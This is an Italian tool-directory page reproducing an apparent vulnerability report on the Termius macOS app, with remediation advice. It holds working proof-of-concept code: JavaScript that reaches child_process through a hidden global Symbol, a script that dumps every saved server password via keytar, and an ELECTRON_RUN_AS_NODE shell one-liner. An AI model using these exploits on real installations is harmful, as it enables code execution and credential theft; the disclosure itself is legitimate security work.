Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-Termius | Kitploit
Strumenti/GitHubGitHub/nicetop1027/cve-2026-termius
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPaper e RicercaConfigurazione ErrataApprendimento e Formazione
GitHubnicetop1027/cve-2026-termius

CVE-2026-Termius

Vedi Repository
6 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Report sulla vulnerabilità dell'applicazione Termius macOS (CVE-2026-Termius)

Obiettivo: Termius (macOS) Versione testata: Ultima (a partire da gennaio 2026) Impatto: Esecuzione di codice in remoto (RCE), Escalation di privilegi locale (LPE), Bypass della sicurezza dell'app

🚨 Riepilogo esecutivo

Sono state identificate tre vulnerabilità critiche nell'applicazione Termius macOS che consentono a un attaccante di:

  1. Eseguire comandi di sistema arbitrari (RCE) tramite un Symbol backdoor nascosto esposto al renderer.
  2. Scaricare tutte le password salvate (LPE) abusando del modulo nativo keytar esposto.
  3. Bypassare completamente la sicurezza dell'applicazione sfruttando l'assenza del fuse ELECTRON_RUN_AS_NODE.

1. Critica: Esecuzione di codice in remoto (RCE) tramite Symbol nascosto

Dettagli della vulnerabilità

L'applicazione espone potenti moduli Node.js (child_process, fs, electron) al processo renderer (la parte di interfaccia web dell'app). Questi moduli sono nascosti dietro un Symbol globale nell'oggetto window per oscurarli, ma non sono isolati in modo sicuro.

  • Pattern di codice vulnerabile:
    root@kitploit:~
    // In extracted app source
    window[Symbol.for("preloadedModulesKey")] = {
        child_process: require('child_process'),
        // ...
    };
    

Exploit (PoC)

Un attaccante che ottiene Cross-Site Scripting (XSS) può immediatamente escalare a RCE utilizzando questo symbol esposto.

poc_rce_via_symbol.js:

root@kitploit:~
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");

// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];

if (backdoor && backdoor.child_process) {
    console.log("RCE Target Acquired.");
    // 3. Execute arbitrary system command (e.g., Calculator)
    backdoor.child_process.exec("open -a Calculator");
}

2. Critica: Scaricamento delle credenziali locali (LPE)

Dettagli della vulnerabilità

Il modulo nativo Node keytar, che Termius utilizza per interfacciarsi con il Keychain di macOS, è anch'esso esposto tramite lo stesso Symbol nascosto. Ciò consente a qualsiasi script in esecuzione nel contesto dell'applicazione (ad esempio, un plugin dannoso, XSS o l'iniezione di processi locali) di interrogare e recuperare password in chiaro per tutti i server salvati.

Exploit (PoC)

poc_lpe_dump_creds.js:

root@kitploit:~
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];

// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];

// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
    console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
    console.table(credentials);
});

3. Critica: Fuse Electron mancante (RunAsNode)

Dettagli della vulnerabilità

Il binario di Termius non disabilita il fuse ELECTRON_RUN_AS_NODE. Questa è una configurazione di sicurezza critica errata che consente a qualsiasi utente locale di eseguire il binario firmato di Termius come un normale eseguibile Node.js. Ciò bypassa completamente i controlli di integrità della firma del codice di macOS per la logica dell'applicazione.

Exploit (PoC)

poc_fuse.sh:

root@kitploit:~
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'

Raccomandazioni di rimedio (per gli sviluppatori)

  1. Disabilitare gli Electron Fuses: Disabilitare esplicitamente RunAsNode e EnableNodeCliInspectArguments utilizzando @electron/fuses durante la build.
  2. Rimuovere l'esposizione del Symbol globale: Non allegare moduli sensibili a window o global. Utilizzare contextBridge.exposeInMainWorld con una superficie API ristretta che esponga solo le funzioni necessarie, non interi moduli.
  3. Sanitizzare l'IPC: Assicurarsi che tutta la comunicazione tra processi (IPC) sia rigorosamente tipizzata e validata.

Report generato da Antigravity Agent

Scarica lo strumento